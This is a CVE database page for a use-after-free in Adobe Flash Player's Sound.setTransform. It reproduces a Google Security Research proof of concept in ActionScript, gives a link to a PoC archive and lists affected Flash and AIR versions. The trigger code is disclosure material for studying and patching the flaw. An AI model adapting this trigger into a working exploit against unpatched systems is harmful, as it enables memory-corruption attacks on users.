Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
10 |
|
AV:N/AC:L/Au:N/C:C/I:C/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 39072
Publication date : 2015-12-20 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes
Source: https://code.google.com/p/google-security-research/issues/detail?id=568
There is a use-after-free in Sound.setTransform. If a transform value is set to an object with valueOf defined, it can free the transform before the values are set. A minimal PoC is as follows:
this.createEmptyMovieClip("my_mc", 1);
var my_sound:Sound = new Sound("my_mc");
var o = {valueOf : func};
my_sound.attachSound("world");
my_sound.setTransform({ll : o, lr: 0x77777777, rr : 0x77777777, rl : 0x77777777});
my_sound.start();
function func(){
my_mc.removeMovieClip();
return 0x77777777;
}
A sample swf and fla are attached. Note that these PoCs will not cause a crash. Instead, they demonstrate the use-after-free by overwriting the matrix array of a ConvolutionFilter. The use-after-free changes the array from being all zeros to having values of float 0x77777777 at the end. The test fails if the second array is not all zero. The test passes if the second array is all zero. These PoCs only work on 64-bit systems.
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39072.zip
Products Mentioned
Configuraton 0
Adobe>>Flash_player >> Version To (including) 18.0.0.261
Adobe>>Flash_player >> Version 19.0.0.185
Adobe>>Flash_player >> Version 19.0.0.207
Adobe>>Flash_player >> Version 19.0.0.226
Adobe>>Flash_player >> Version 19.0.0.245
Apple>>Mac_os_x >> Version *
Microsoft>>Windows >> Version *
Configuraton 0
Adobe>>Air_sdk >> Version To (including) 19.0.0.241
Adobe>>Air_sdk_\&_compiler >> Version To (including) 19.0.0.241
Apple>>Iphone_os >> Version *
Apple>>Mac_os_x >> Version *
Google>>Android >> Version *
Microsoft>>Windows >> Version *
Configuraton 0
Adobe>>Air >> Version To (including) 19.0.0.241
Apple>>Mac_os_x >> Version *
Microsoft>>Windows >> Version *
Configuraton 0
Adobe>>Flash_player >> Version To (including) 11.2.202.548
Linux>>Linux_kernel >> Version *
References